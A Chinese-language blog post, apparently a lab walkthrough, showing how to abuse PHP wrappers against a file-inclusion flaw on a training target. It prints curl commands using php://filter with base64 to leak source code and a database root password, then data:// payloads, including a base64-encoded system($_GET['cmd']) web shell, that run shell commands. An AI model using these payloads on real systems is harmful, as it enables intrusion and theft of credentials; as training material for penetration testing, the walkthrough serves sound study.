PHP Wrappers 包裝器

 PHP Wrappers 包裝器


這裡有一篇介紹 PHP Wrappers 滲透測試的說明寫得不錯,可以先了解流與包裝器的概念

https://www.itread01.com/hkpqlphk.html


回到滲透攻擊,靶機與前一篇一樣是個可以透過 Path Traversal 的網站

=====================================================================

kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=admin.php

...

<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Maintenance</title>

</head>

<body>

        <span style="color:#F00;text-align:center;">The admin page is currently under maintenance.

=====================================================================


上述的 BODY 結果中顯示了不完整,結論是部分內容丟失

此時可以先透過包裝器語法 php://filter 測試,發現結果輸出一樣

======================================================================

kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=php://filter/resource=admin.php

...

<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Maintenance</title>

</head>

<body>

        <span style="color:#F00;text-align:center;">The admin page is currently under maintenance.

======================================================================




因為包裝器支援 base64 的編碼,我們改將輸出的結果用 base64 編碼處理看看

convert.base64-encode

======================================================================

kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php

...

<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbn...

dF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K

...

======================================================================




發現已可正確載入,這時候將 base64 resource 進行解碼

echo 那一段內容資源進行 base64 -d (decode)

處理完的結果出乎意料,甚至連前端去連後端的帳號密碼都一併顯示出在 resource 中

======================================================================

kali@kali:~$ echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbnRlbmFuY2U8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgICAgIDw/cGhwIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojRjAwO3RleHQtYWxpZ246Y2VudGVyOyI+VGhlIGFkbWluIHBhZ2UgaXMgY3VycmVudGx5IHVuZGVyIG1haW50ZW5hbmNlLic7ID8+Cgo8P3BocAokc2VydmVybmFtZSA9ICJsb2NhbGhvc3QiOwokdXNlcm5hbWUgPSAicm9vdCI7CiRwYXNzd29yZCA9ICJNMDBuSzRrZUNhcmQhMiMiOwoKLy8gQ3JlYXRlIGNvbm5lY3Rpb24KJGNvbm4gPSBuZXcgbXlzcWxpKCRzZXJ2ZXJuYW1lLCAkdXNlcm5hbWUsICRwYXNzd29yZCk7CgovLyBDaGVjayBjb25uZWN0aW9uCmlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewogIGRpZSgiQ29ubmVjdGlvbiBmYWlsZWQ6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K" | base64 -d

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Maintenance</title>

</head>

<body>

        <?php echo '<span style="color:#F00;text-align:center;">The admin page is currently under maintenance.'; ?>


<?php

$servername = "localhost";

$username = "root";

$password = "M00nK4keCard!2#";


// Create connection

$conn = new mysqli($servername, $username, $password);

...

======================================================================




接著可以測試最愛用的 cmd + ls 測試

發現可以正常顯示,網站沒有進行任何過濾的條件

=====================================================================

kali@kali:~$ curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

...

<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>

admin.php

bavarian.php

css

fonts

img

index.php

js

...

=====================================================================




但真實的世界網站一般會進行過濾,所以若沒有回應或是執行失敗時

因為前面提到包裝器支援 base64 編碼,所以可以將要執行的語法透過 base64 編碼

======================================================================

kali@kali:~$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64

PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==

======================================================================




將原本沒有結果的 cmd + ls 改成 base64 的方式送出再測試看看如下

可以發現正確得到結果,所以 base64 是一種絕對要嘗試的轉換方式

======================================================================

kali@kali:~$ curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

...

<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>

admin.php

bavarian.php

css

fonts

img

index.php

js

start.sh

...

======================================================================



當 cmd 後面接指令 work 時就可以直接透過 curl 開始抓取目標內容檔案了

記得空格改成 %20 即可

例如 cat 123.txt --> cat%20123.txt 、 uname -a --> uname%20-a



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)